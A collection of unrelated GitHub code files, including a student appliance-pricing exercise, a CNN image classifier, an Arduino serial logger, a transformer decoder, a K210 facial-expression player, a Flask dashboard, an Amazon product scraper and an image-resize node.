{"seq_id":"25503014215","text":"import random\r\nclass Electrodomestico:\r\n    def __init__(self):\r\n        self.color=\"blanco\"\r\n        self.consumo=\"A\"\r\n        self.prebase=\"10 €\"\r\n        self.consumo=None\r\n    def tabla(self):\r\n        self.consumo= \"A\"\r\n        self.consumo2= \"B\"\r\n        self.consumo3= \"C\"\r\n          \r\ndef precio_if():\r\n    if refrigeradora.consumo==\"A\":\r\n        print(\" Precio: 100\")\r\n    elif refrigeradora.consumo==\"B\":\r\n        print(\" Precio: 80\")\r\n    elif refrigeradora.consumo==\"C\":\r\n        print(\" Precio: 60\")\r\n\r\nclass lavadora():\r\n    def __init__(self):\r\n        self.color=\"blanco\"\r\n        self.consumo=\"A\"\r\n        self.prebase=\"10 €\"\r\n        self.consumo=None\r\n        \r\n    def tabla2(self):\r\n        self.consumo= \"Entre 0 y 19 kg\"\r\n        self.consumo2= \"Entre 20 y 49 kg\"\r\n        self.consumo3= \"Entre 50 y 79 kg\"\r\n        self.consumo4= \"Mayor que 80 kg\"\r\n\r\ndef precio_lavadora():\r\n    if lavadora.consumo==\"Entre 0 y 19 kg\":\r\n        print(\" Precio: 10%\") \r\n    elif lavadora.consumo==\"Entre 20 y 49 kg\":\r\n        print(\" Precio: 20%\")\r\n    elif lavadora.consumo==\"Entre 50 y 79 kg\":\r\n        print(\" Precio: 30%\")\r\n    elif lavadora.consumo==\"Mayor que 80 kg\":\r\n        print(\" Precio: 40%\")\r\n        \r\nobj_c= Electrodomestico()\r\nobj_l= lavadora()\r\nobj_c.tabla()\r\nobj_l.tabla2()\r\n\r\nprint(\" \")\r\nprint(\" ------------Valores Predeterminados de la tienda------------\")\r\npeso=int(input(\" Ingrese el peso del objeto: \"))\r\nrefrigeradora=Electrodomestico()\r\n\r\nprint(\" Precio Base:\",refrigeradora.prebase,\"\\n\",\"Color:\",refrigeradora.color,\"\\n\",\r\n      \"Consumo energetico:\",obj_c.consumo,\"\\n\",\"Peso:\",peso)\r\n\r\nlista=[\"azul\",\"rojo\"]\r\nrefrigeradora.color=random.choice(lista)\r\nlistaconsumo=[obj_c.consumo,obj_c.consumo2,obj_c.consumo3]\r\nrefrigeradora.consumo=random.choice(listaconsumo)\r\nprint(\" \")\r\nprint(\" //////////////////////////////////////////////////////\")\r\nprint(\" \")\r\nfor i in range(1):\r\n    print(\" ------------Refrigeradora------------\")\r\n    print(\" Color refrigeradora: \",refrigeradora.color,\"\\n\",\"Consumo energetico:\",refrigeradora.consumo,\r\n          \"\\n\",\"Peso:\",peso,\"\\n\",precio_if())  \r\n\r\nlavadora.color=random.choice(lista)\r\nlistaconsumo=[obj_l.consumo,obj_l.consumo2,obj_l.consumo3,obj_l.consumo4]\r\nlavadora.consumo=random.choice(listaconsumo)\r\nprint(\" \")\r\nfor i in range(1):\r\n    print(\" ------------Lavadora------------\")\r\n    print(\" Color lavadora: \",lavadora.color,\"\\n\",\"Carga:\",lavadora.consumo,\r\n          \"\\n\",\"Peso:\",peso,\"\\n\",precio_lavadora())  \r\n\r\n    \r\n\r\n\r\n   \r\n\r\n\r\n","repo_name":"Medardo90/POO-25-10-2022","sub_path":"taller1_ electrodomesticos.py","file_name":"taller1_ electrodomesticos.py","file_ext":"py","file_size_in_byte":2512,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"13152912171","text":"def main():\n    file_path = input(\"Enter path containing puzzle input: \")\n    algorithm_selection = input(\"Use checksum 1 or 2? \")\n    puzzle_input = open(file_path, \"r\")\n    input_lines = puzzle_input.readlines()\n    lines_no_whitespace = []\n    for line in input_lines:\n        lines_no_whitespace.append(line.split())\n\n    if algorithm_selection == 1:\n        solution = calculate_checksum(lines_no_whitespace)\n    else:\n        solution = calculate_checksum_2(lines_no_whitespace)\n\n    print(\"Solution: {}\".format(solution))\n\n\ndef calculate_checksum(input_lines):\n    checksum = 0\n    for line in input_lines:\n        sorted_line = sorted([int(x) for x in line])\n        last = sorted_line[-1]\n        first = sorted_line[0]\n        difference = last - first\n        checksum += difference if difference > 0 else 0\n    return checksum\n\n\ndef calculate_checksum_2(input_lines):\n    checksum = 0\n    for line in input_lines:\n        sorted_line = sorted([int(x) for x in line])\n\n        for x in range(0, len(sorted_line) - 1):\n            found_remainder_zero = False\n            for y in range(x + 1, len(sorted_line)):\n                divisor = sorted_line[x]\n                dividend = sorted_line[y]\n                if dividend % divisor == 0:\n                    checksum += dividend // divisor\n                    found_remainder_zero = True\n                    break\n            if found_remainder_zero:\n                break\n\n    return checksum\n\n\nif __name__ == \"__main__\": main()\n","repo_name":"oscaralbertoag/advent-of-code","sub_path":"checksum/Checksum.py","file_name":"Checksum.py","file_ext":"py","file_size_in_byte":1492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"74881923021","text":"from random import randint\n\nmillion = 10**5\n\nwith open('/usr/share/dict/words') as word_file:\n    words = word_file.readlines()\n\nfor i in range(million):\n    offset = randint(0, million / 2)\n    diff = randint(0, million / 4)\n    print(randint(offset, offset + diff),\n          randint(offset + diff, offset + offset + diff*2),\n          words[randint(0, len(words) - 1)], end='')\n","repo_name":"jyn514/jyn514.github.io","sub_path":"assets/gen_test.py","file_name":"gen_test.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
{"seq_id":"11454914315","text":"import pandas as pd\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torchvision.transforms as transforms\nfrom torch.utils.data import DataLoader, Dataset\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score, confusion_matrix, recall_score, f1_score, classification_report\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport os\nfrom PIL import Image\n\n# Define the CNN model\nclass CNNModel(nn.Module):\n    def __init__(self):\n        super(CNNModel, self).__init__()\n        self.conv1 = nn.Conv2d(3, 16, kernel_size=3, padding=1)\n        self.conv2 = nn.Conv2d(16, 32, kernel_size=3, padding=1)\n        self.pool = nn.AdaptiveAvgPool2d(1)\n        self.fc = nn.Linear(32, 1)\n\n    def forward(self, x):\n        x = nn.functional.relu(self.conv1(x))\n        x = nn.functional.relu(self.conv2(x))\n        x = self.pool(x)\n        x = x.view(x.size(0), -1)\n        x = torch.sigmoid(self.fc(x))\n        return x\n\n# Custom dataset class\nclass CustomDataset(Dataset):\n    def __init__(self, image_folder, labels_data, transform=None):\n        self.image_folder = image_folder\n        self.labels_data = labels_data\n        self.transform = transform\n\n    def __len__(self):\n        return len(self.labels_data)\n\n    def __getitem__(self, idx):\n        # img_name = os.path.join(self.image_folder, f'e{str(idx+1).zfill(5)}.png')\n        img_name = os.path.join(self.image_folder, self.labels_data.iloc[idx, 0])\n\n        image = Image.open(img_name).convert('RGB')\n        label = self.labels_data.iloc[idx, 1]\n        if self.transform:\n            image = self.transform(image)\n        return image, label\n\n# Define transformations\ntransform = transforms.Compose([\n    transforms.Resize((32, 32)),\n    transforms.ToTensor(),\n    transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\n])\n\n\n# raw data\n# image_folder = 'image_cwt_raw/overall'\n# labels_file = 'image_cwt_raw/overall_labels.csv'\n\nimage_folder = 'CWT_data_resampled/overall'\nlabels_file = 'CWT_data_resampled/overall_labels.csv'\n\n# balanced data\n# image_folder = 'CWT_data_resampled/training-e1'\n# labels_file = 'CWT_data_resampled/training-e/e_labels.csv'\n\n# Load and split the data\nlabels_data = pd.read_csv(labels_file)\ntrain_data, test_data = train_test_split(labels_data, test_size=0.3, random_state=42)\n\ntrain_dataset = CustomDataset(image_folder, train_data, transform=transform)\ntest_dataset = CustomDataset(image_folder, test_data, transform=transform)\n\ntrain_loader = DataLoader(train_dataset, batch_size=32, shuffle=True)\ntest_loader = DataLoader(test_dataset, batch_size=32, shuffle=False)\n\n# Initialize the CNN model and optimizer\nmodel = CNNModel()\ncriterion = nn.BCELoss()  # Binary Cross-Entropy loss\noptimizer = optim.Adam(model.parameters(), lr=0.001)\n\n# Train the model\nnum_epochs = 10\nfor epoch in range(num_epochs):\n    for batch_X, batch_y in train_loader:\n        optimizer.zero_grad()\n        outputs = model(batch_X)\n        loss = criterion(outputs, batch_y.unsqueeze(1).float())\n        loss.backward()\n        optimizer.step()\n\n# Evaluate the model\nmodel.eval()\nwith torch.no_grad():\n    y_pred_probs = []\n    y_true = []\n\n    for batch_X, batch_y in train_loader:\n        outputs = model(batch_X)\n        y_pred_probs.extend(outputs)\n        y_true.extend(batch_y)\n\ny_pred_probs = torch.cat(y_pred_probs)\ny_pred = (y_pred_probs >= 0.5).float()\ny_true = torch.tensor(y_true)\n\n# Calculate metrics\naccuracy = accuracy_score(y_true, y_pred)\nconf_matrix = confusion_matrix(y_true, y_pred)\ntn, fp, fn, tp = conf_matrix.ravel()\nsensitivity = tp / (tp + fn)\nspecificity = tn / (tn + fp)\nuf1 = (2 * tp) / (2 * tp + fp + fn)\nuar = (sensitivity + specificity) / 2\n\n# Calculate the normalized confusion matrix\nnormalized_conf_matrix = conf_matrix.astype('float') / conf_matrix.sum(axis=1)[:, np.newaxis]\n\n# Print metrics\nclassification_rep = classification_report(y_true, y_pred, target_names=['Class 0', 'Class 1'])\nnormalized_conf_matrix = conf_matrix.astype('float') / conf_matrix.sum(axis=1)[:, np.newaxis]\n\nprint(\"Accuracy:\", accuracy)\nprint(\"Sensitivity:\", sensitivity)\nprint(\"Specificity:\", specificity)\nprint(\"Unweighted F1-Score (UF1):\", uf1)\nprint(\"Unweighted Average Recall (UAR):\", uar)\n\nplt.rcParams['font.family'] = 'Times New Roman'\nplt.rcParams['font.size'] = '46'\nsns.set(font_scale=1.2)\nsns.heatmap(normalized_conf_matrix, annot=True, cmap=\"Blues\", fmt=\".2f\", xticklabels=['Normal', 'Abnormal'], yticklabels=['Normal', 'Abnormal'])\n\nplt.xlabel('Predicted label')\nplt.ylabel('True label')\nplt.title('Normalised Confusion Matrix')\nprint(\"Classification Report:\\n\", classification_rep)\n\nplt.show()\n\n","repo_name":"jomaron/Fed-MStacking","sub_path":"CNN3.py","file_name":"CNN3.py","file_ext":"py","file_size_in_byte":4699,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
{"seq_id":"72303539343","text":"\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri April 7 17:13:22 2023\r\n@author: PhoenixWANG\r\n\"\"\"\r\n\r\nimport time\r\nimport serial\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\n#根据Arduino代码设置串口（Serial）信息\r\nser = serial.Serial(\r\n    port = 'COM3',\r\n    baudrate = 9600,\r\n    parity = serial.PARITY_ODD,\r\n    stopbits = serial.STOPBITS_TWO,\r\n    bytesize = serial.SEVENBITS,\r\n    \r\n    )\r\n\r\n#设置生成数据集文件位置\r\noutputpath = 'D:/PolyU/year3 sem02/ME31002/Lab MiniProject/Lab3/2DOF_TWOOverdamped.csv'\r\n\r\n\r\n#定义数据收集函数\r\ndef datacollection(ser,list1,time1,t_initial,length,outputpath = False):\r\n    \r\n    for i in range(length):#length: 需要的数据集大小\r\n        \r\n        data = ser.readline()#读取串口信息\r\n        time1.append(time.time()-t_initial)#计算当前时间差\r\n        list1.append(data)#添加数据\r\n\r\n    for i in range(length):\r\n        \r\n        list1[i] = float(list1[i].decode('utf-8'))#对串口读取数据根据utf-8解码表解码为字符串\r\n    \r\n    if outputpath != False:#如果制定了输出路径，则为要分析的运动数据集，而非检查初末位置\r\n        \r\n        diction = {\r\n            'Time':time1,\r\n            'Distance':list1,\r\n            }\r\n        \r\n        result = pd.DataFrame(diction)#生成DataFrame为输出数据集做准备\r\n        \r\n        return result\r\n    \r\n    else:#检查初末位置\r\n        \r\n        position =  (1+np.std(list1)/np.mean(list1))*np.mean(list1)#减少噪音的影响，近似估计位置\r\n        \r\n        return position\r\n\r\n\r\n\r\ndata = ''#提前占上内存\r\n\r\nlist1,time1 = [],[]#初始化收集距离与时间数据的容器\r\n\r\ncount = 0#是否开始正式测量，而非检查初末位置的标志\r\n\r\nt_initial = time.time()#获得实验开始时间\r\n\r\nlength = 300\r\n\r\n#计算初位置\r\nprint(\"Check your initial position\\n\")\r\n\r\npos_initial = datacollection(ser,list1,time1,t_initial,length)\r\n\r\n\r\n#计算整个运动过程中数据\r\ncount = input(\"Please input 1 for start\\n\")\r\n\r\nif int(count) == 1:#开始记录实验\r\n    \r\n    list1,time1 = [],[]\r\n\r\n    print(\"Release!!!!\\n\")\r\n    \r\n    time.sleep(1.5)#延时1.5s给人反应的时间\r\n    \r\n    t_initial = time.time()#获得实际实验开始的初始时间\r\n    \r\n    result = datacollection(ser, list1, time1, t_initial, length,outputpath)#获得整体数据集\r\n\r\n\r\n\r\n#计算末位置\r\nlist1,time1 = [],[]\r\nt_initial = time.time()\r\n\r\nprint(\"Check your Final position\\n\")\r\n\r\npos_final = datacollection(ser, list1, time1, t_initial, length,outputpath = False)\r\n\r\n\r\n\r\n#进行平移，使得数据整体与坐标轴尽可能对齐\r\n\r\nidx = 0;#初始化起点index\r\n\r\nfor i in range(len(result)):\r\n    if abs(result['Distance'][i] - pos_initial) >=30:#如果和估算初位置差别过大，则index前一个数据可以视为起点\r\n        idx = i-1\r\n        break\r\n    \r\nresult = result.iloc[idx:,:]#切除前面不必要的冗余数据\r\n\r\nresult['Distance'] = result['Distance'] - pos_final#将数据向下平移到坐标轴上，获得delta_x\r\n\r\nresult.to_csv(outputpath,sep = ',',index = False, header = True)#输出最终的数据集文件，用于MATLAB仿真\r\n\r\n#关闭同Arduino的串口\r\nser.close()\r\n\r\n","repo_name":"CDPhoenix/ME31002_Group3_MiniProjectCode","sub_path":"SerialReading2.0.py","file_name":"SerialReading2.0.py","file_ext":"py","file_size_in_byte":3221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"33470640822","text":"import numpy as np\nimport torch as t\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom ..attention import MultiHeadAttention\nfrom ..utils import PositionWise\n\n\nclass Decoder(nn.Module):\n    def __init__(self, embeddings, n_layers, n_heads, h_s, p_s, vocab_s, dropout=0.1):\n        \"\"\"\n        :param embeddings: An instance of embeddings layer\n        :param n_heads: Number of attention heads\n        :param h_s: hidden size of input\n        :param p_s: size of projected queries, keys and values\n        :param vocab_s: vocab size\n        :param dropout: drop prob\n        \"\"\"\n        super(Decoder, self).__init__()\n\n        self.embeddings = embeddings\n        self.vocab_s = vocab_s\n        self.layers = nn.ModuleList([\n            DecoderLayer(n_heads, h_s, p_s, dropout)\n            for _ in range(n_layers)\n        ])\n\n        self.out_to_vocab = nn.Sequential(\n            nn.Linear(h_s, 1000),\n            nn.SELU(),\n            nn.Linear(1000, vocab_s)\n        )\n\n    def forward(self, input):\n        \"\"\"\n        :param input: An long tensor with shape of [b_s, input_len]\n        :return: An float tensor with shape of [b_s, input_len, h_s]\n        \"\"\"\n\n        b_s, input_len = input.size()\n\n        input, _ = self.embeddings(input)\n        mask = self.autoregressive_mask(b_s, input_len, input.device)\n\n        out = input\n        for layer in self.layers:\n            out = layer(out, mask)\n\n        return self.out_to_vocab(out)\n\n    def generate(self, seed, device):\n\n        # 1 is go token idx\n        seed_len = len(seed)\n        input_idx = t.tensor([seed], dtype=t.long, device=device)\n\n        input, _ = self.embeddings(input_idx)\n\n        history = []\n        for i, layer in enumerate(self.layers):\n            history += [input]\n            input = layer(input, mask=self.autoregressive_mask(1, len(seed), device))\n\n        out = F.softmax(1.5 * self.out_to_vocab(input[:, -1]).squeeze(), dim=-1)\n\n        result = []\n\n        for step in range(self.embeddings.max_len - 2):\n\n            out = out.cpu().numpy()\n            input_idx = int(np.random.choice(self.vocab_s, 1, p=out)[0])\n            if input_idx == 2:\n                break\n\n            result += [input_idx]\n\n            input_idx = t.tensor([[input_idx]], dtype=t.long, device=device)\n            pos = t.tensor([[step + 1 + seed_len]], dtype=t.long, device=device)\n            input, _ = self.embeddings(input_idx, pos)\n\n            for i, layer in enumerate(self.layers):\n                history[i] = t.cat([history[i], input], 1)\n                input = layer.inference_mode(input, history[i])\n\n            out = F.softmax(1.5 * self.out_to_vocab(input).squeeze(), dim=-1)\n\n        return result\n\n    @staticmethod\n    def autoregressive_mask(batch_size, length, device):\n        mask = t.ones(length, length, dtype=t.uint8, device=device).tril_(-1)\n        return mask.transpose(0, 1).repeat(batch_size, 1).view(batch_size, length, length)\n\n\nclass DecoderLayer(nn.Module):\n    def __init__(self, n_heads, h_s, p_s, dropout=0.1):\n        \"\"\"\n        :param n_heads: Number of attention heads\n        :param h_s: hidden size of input\n        :param p_s: size of projected queries and keys\n        :param dropout: drop prob\n        \"\"\"\n        super(DecoderLayer, self).__init__()\n\n        self.attention = MultiHeadAttention(n_heads, h_s, p_s, dropout)\n        self.position_wise = PositionWise(h_s, h_s * 4, dropout)\n\n    def forward(self, input, mask):\n        \"\"\"\n        :param input: An float tensor with shape of [b_s, input_len, h_s]\n        :param mask: An byte tensor with shape of [b_s, input_len, input_len]\n        :return: An float tensor with shape of [b_s, input_len, h_s]\n        \"\"\"\n\n        result = self.attention(q=input, k=input, v=input, mask=mask)\n        return self.position_wise(result)\n\n    def inference_mode(self, q, input):\n        \"\"\"\n        :param q: An float tensor with shape of [b_s, 1, h_s]\n        :param input: An float tensor with shape of [b_s, input_len, h_s]\n        :return: An float tensor with shape of [b_s, 1, h_s]\n        \"\"\"\n\n        '''\n        I believe that there is the way this module could be written in more efficient and beautiful way,\n        in order to prevent having two different functions \n        for training and inference modes with quite similar semantics,\n        but I'm not sure if I want to find it.\n        '''\n\n        result = self.attention(q=q, k=input, v=input)\n        return self.position_wise(result)\n","repo_name":"deepvk/clickbait","sub_path":"nn/transformer/decoder.py","file_name":"decoder.py","file_ext":"py","file_size_in_byte":4490,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"47"}
{"seq_id":"3023351419","text":"import sensor, image, lcd\r\nimport KPU as kpu\r\nfrom Maix import GPIO\r\nfrom fpioa_manager import *\r\nfrom machine import UART\r\nimport time\r\n\r\nfm.register(20, fm.fpioa.UART2_TX) # Declare the pin for TX uart\r\nfm.register(21, fm.fpioa.UART2_RX) # Declare the pin for RX uart\r\n\r\nuart = UART(UART.UART2, 9600, 8, None, 1, timeout = 1000, read_buf_len = 4096)\r\n\r\n# Commands for DFplayer\r\ncmd_init = bytearray([0x7E, 0xFF, 0x06, 0x0C, 0x01, 0x00, 0x00, 0xFE, 0xEE, 0xEF])\r\ncmd_vol =  bytearray([0x7E, 0xFF, 0x06, 0x06, 0x01, 0x00, 0x14, 0xFE, 0xE0, 0xEF]) # 14 in HEX is 20 in DEC\r\ncmd_1st_song = bytearray([0x7E, 0xFF, 0x06, 0x03, 0x01, 0x00, 0x01, 0xFE, 0xF6, 0xEF])\r\ncmd_2nd_song = bytearray([0x7E, 0xFF, 0x06, 0x03, 0x01, 0x00, 0x02, 0xFE, 0xF5, 0xEF])\r\ncmd_3rd_song = bytearray([0x7E, 0xFF, 0x06, 0x03, 0x01, 0x00, 0x03, 0xFE, 0xF4, 0xEF])\r\ncmd_4th_song = bytearray([0x7E, 0xFF, 0x06, 0x03, 0x01, 0x00, 0x04, 0xFE, 0xF3, 0xEF])\r\ncmd_5th_song = bytearray([0x7E, 0xFF, 0x06, 0x03, 0x01, 0x00, 0x05, 0xFE, 0xF2, 0xEF])\r\n\r\ncmd_dict = {'Angry' : cmd_1st_song, 'Happy' : cmd_2nd_song, 'Sad' : cmd_3rd_song, 'Surprise' : cmd_4th_song}\r\n\r\nuart.write(cmd_init)\r\nuart.read()\r\nuart.write(cmd_vol)\r\nuart.read()\r\n\r\nlcd.init(freq=15000000)\r\nsensor.reset()                      # Reset and initialize the sensor. It will\r\n                                    # run automatically, call sensor.run(0) to stop\r\nsensor.set_pixformat(sensor.RGB565) # Set pixel format to RGB565 (or GRAYSCALE)\r\nsensor.set_framesize(sensor.QVGA)   # Set frame size to QVGA (320x240)\r\n#sensor.set_windowing((320, 240))\r\nsensor.skip_frames(time = 2000)     # Wait for settings take effect.\r\nsensor.set_vflip(1)\r\nsensor.set_hmirror(1)\r\nclock = time.clock()                # Create a clock object to track the FPS.\r\n\r\nprint('loading face detect model')\r\ntask_detect_face = kpu.load(0x300000) # Charge face detect model into KPU\r\nprint('loading face expresion classify model')\r\ntask_classify_face = kpu.load(0x500000) # Charge face classification model into KPU\r\n\r\na=kpu.set_outputs(task_classify_face, 0, 1, 1, 5)\r\n\r\nanchor = (1.889, 2.5245, 2.9465, 3.94056, 3.99987, 5.3658, 5.155437, 6.92275, 6.718375, 9.01025)\r\na = kpu.init_yolo2(task_detect_face, 0.5, 0.3, 5, anchor)\r\n\r\nlabels = ['Angry', 'Happy', 'Neutral', 'Sad', 'Surprise'] # Facial expression labels\r\n\r\nprint('configuration complete')\r\n\r\nwhile(True):\r\n    clock.tick()                    # Update the FPS clock.\r\n    img = sensor.snapshot()         # Take a picture and return the image.\r\n    detected_face = kpu.run_yolo2(task_detect_face, img)\r\n\r\n    if detected_face:\r\n        for i in detected_face:\r\n            face = img.cut(i.x(), i.y(), i.w(), i.h())\r\n            face_128 = face.resize(128, 128)\r\n            a = face_128.pix_to_ai()\r\n            fmap = kpu.forward(task_classify_face, face_128)\r\n            plist = fmap[:]\r\n            pmax = max(plist)\r\n            #print(\"%s: %s\" % (labels[plist.index(pmax)], pmax))\r\n            print(plist)\r\n            label = labels[plist.index(pmax)]\r\n\r\n            if label != 'Neutral':\r\n                uart.write(cmd_dict[label])\r\n                uart.read()\r\n                time.sleep(2)\r\n","repo_name":"Zorienu/Facial_expression_classification_with_k210","sub_path":"DFplayer_face_detection_and_recognition.py","file_name":"DFplayer_face_detection_and_recognition.py","file_ext":"py","file_size_in_byte":3163,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"}
{"seq_id":"20056224205","text":"from flask import Flask, request\nfrom flask import Flask, render_template\nfrom flask_cors import CORS, cross_origin\nimport logging\nimport json\nimport sys\nimport pandas as pd\nfrom pretty_html_table import build_table\n\n#Import own functions\n# from historical_bets import update_betting_timeseries\n\nfrom config import CONTRACT_CHAIN_DICT, DATA_FILE_NAME\n#Set up Flask app\napp = Flask(__name__,template_folder='templates')\nCORS(app)\nprint('ready')\n\n# app.logger.addHandler(logging.StreamHandler(sys.stdout))\n# app.logger.setLevel(logging.ERROR)\n\n#Set up routes\n@app.route('/', methods=['GET'])\n@cross_origin(headers=['Content- Type','Authorization'])\ndef landing_page():\n    return \"Welcome to Cognoscenti\"\n\n# @app.route('/timeseries', methods=['GET'])\n# @cross_origin(headers=['Content- Type','Authorization'])\n# def get_timeseries():\n#     #Get chain name\n#     chain_name = request.args.get('chain_name', type=str)\n\n#     #Chain contract matching\n#     if chain_name not in CONTRACT_CHAIN_DICT.keys():\n#         return {'error': f\"No contract instance for {chain_name}\"}\n    \n#     contract_address = CONTRACT_CHAIN_DICT[chain_name]\n    \n#     res = update_betting_timeseries(chain_name=chain_name,contract_address=contract_address)\n    \n#     return res\n\n@app.route('/okx_dashboard', methods=['GET'])\n@cross_origin(headers=['Content- Type','Authorization'])\ndef get_dashboard_data():\n    #Load data set\n    with open(DATA_FILE_NAME) as user_file:\n        file_contents = user_file.read()\n    \n    return file_contents\n\n\n@app.route('/okx', methods=['GET'])\n@cross_origin(headers=['Content- Type','Authorization'])\ndef get_dashboard():\n    #Load data set\n    # with open(DATA_FILE_NAME) as user_file:\n    #     file_contents = user_file.read()\n    \n    # # # users = User.query\n    # file_contents = json.loads(file_contents)\n    # addr = list(file_contents.keys())\n    # data = pd.DataFrame(file_contents)\n    # data = data.T\n    # data['address'] = addr\n\n    data = pd.read_pickle('all_data.pkl')\n    addr = list(data.keys())\n    data = pd.DataFrame(data)\n    data = data.T\n    data['address'] = data.index\n    # data = data.to_json(orient='records')\n    # print(data)\n\n    html_table_blue_light = build_table(data,'blue_light')\n    return html_table_blue_light\n    # print(type(data)\n    # return_data = data.to_html()\n    # return render_template('base.html')\n    # return render_template('bootstrap_table.html', title='Bootstrap Table',users=file_contents)\n    \nif __name__ == '__main__':\n#Run Flask app\n    #Server settings\n    app.run()\n","repo_name":"sethhowes/public-goods-prediction-markets","sub_path":"backend/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"34886920501","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\nimport pandas as pd\r\n\r\ndef scrape_product_listing(url):\r\n    headers = {\r\n        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}\r\n    response = requests.get(url, headers=headers)\r\n    soup = BeautifulSoup(response.content, 'html.parser')\r\n\r\n    products = soup.find_all('div', {'data-component-type': 's-search-result'})\r\n\r\n    data = []\r\n    for product in products:\r\n        product_url = 'https://www.amazon.in' + product.find('a', {'class': 'a-link-normal s-no-outline'})['href']\r\n        product_name = product.find('span', {'class': 'a-size-medium a-color-base a-text-normal'}).text.strip()\r\n        product_price = product.find('span', {'class': 'a-price-whole'}).text.strip()\r\n\r\n        rating_element = product.find('span', {'class': 'a-icon-alt'})\r\n        rating = rating_element.text.strip() if rating_element else ''\r\n\r\n        reviews_element = product.find('span', {'class': 'a-size-base'})\r\n        reviews = reviews_element.text.strip() if reviews_element else ''\r\n\r\n        data.append([product_url, product_name, product_price, rating, reviews])\r\n\r\n    return data\r\n\r\n# Scrape product listing pages\r\nbase_url = 'https://www.amazon.in/s?k=bags&crid=2M096C61O4MLT&qid=1653308124&sprefix=ba%2Caps%2C283&ref=sr_pg_'\r\nnum_pages = 20\r\n\r\nall_data = []\r\nfor page in range(1, num_pages + 1):\r\n    url = base_url + str(page)\r\n    page_data = scrape_product_listing(url)\r\n    all_data.extend(page_data)\r\n\r\n# Export data to CSV\r\ndf = pd.DataFrame(all_data, columns=['Product URL', 'Product Name', 'Product Price', 'Rating', 'Number of Reviews'])\r\ndf.to_csv('amazon_product_listing.csv', index=False)\r\n","repo_name":"qureshisohel/amazon_scraper","sub_path":"part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"9340867445","text":"import sys\n\nfrom PyQt5.QtWidgets import *\n\n\nclass Window(QWidget):\n    def __init__(self):\n        super(Window, self).__init__()\n        self.setWindowTitle(\"Font Dialog\")\n        self.setGeometry(50, 50, 500, 300)\n        layout = QGridLayout()\n        self.setLayout(layout)\n        button = QPushButton(\"Choose Font\")\n        button.clicked.connect(self.open)\n        layout.addWidget(button, 0, 0)\n        self.font = QFontDialog()\n\n    def open(self):\n        self.font.open()\n\n\napp = QApplication(sys.argv)\n\n\ndef main():\n    window = Window()\n    window.show()\n    sys.exit(app.exec_())\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"shoukreytom/Python","sub_path":"gui/pyqt/FontDialog.py","file_name":"FontDialog.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"73447468623","text":"from __future__ import annotations\n\nimport numpy as np\nfrom sanic.log import logger\n\nfrom . import category as ImageDimensionCategory\nfrom ...node_base import NodeBase\nfrom ...node_factory import NodeFactory\nfrom ...properties.inputs import ImageInput, NumberInput, InterpolationInput\nfrom ...properties.outputs import ImageOutput\nfrom ...properties import expression\nfrom ...impl.pil_utils import resize, InterpolationMethod\nfrom ...utils.utils import get_h_w_c, round_half_up\n\n\n@NodeFactory.register(\"chainner:image:resize_factor\")\nclass ImResizeByFactorNode(NodeBase):\n    def __init__(self):\n        super().__init__()\n        self.description = (\n            \"Resize an image by a percent scale factor. \"\n            \"Auto uses box for downsampling and lanczos for upsampling.\"\n        )\n        self.inputs = [\n            ImageInput(),\n            NumberInput(\n                \"Scale Factor\",\n                precision=4,\n                controls_step=25.0,\n                default=100.0,\n                unit=\"%\",\n            ),\n            InterpolationInput(),\n        ]\n        self.category = ImageDimensionCategory\n        self.name = \"Resize (Factor)\"\n        self.outputs = [\n            ImageOutput(\n                image_type=expression.Image(\n                    width=\"max(1, int & round(Input0.width * Input1 / 100))\",\n                    height=\"max(1, int & round(Input0.height * Input1 / 100))\",\n                    channels_as=\"Input0\",\n                )\n            )\n        ]\n        self.icon = \"MdOutlinePhotoSizeSelectLarge\"\n        self.sub = \"Resize\"\n\n    def run(\n        self, img: np.ndarray, scale: float, interpolation: InterpolationMethod\n    ) -> np.ndarray:\n        \"\"\"Takes an image and resizes it\"\"\"\n\n        logger.debug(f\"Resizing image by {scale} via {interpolation}\")\n\n        h, w, _ = get_h_w_c(img)\n        out_dims = (\n            max(round_half_up(w * (scale / 100)), 1),\n            max(round_half_up(h * (scale / 100)), 1),\n        )\n\n        return resize(img, out_dims, interpolation)\n","repo_name":"orgTestCodacy11KRepos110MB/repo-1470-chaiNNer","sub_path":"backend/src/nodes/nodes/image_dimension/resize_factor.py","file_name":"resize_factor.py","file_ext":"py","file_size_in_byte":2040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
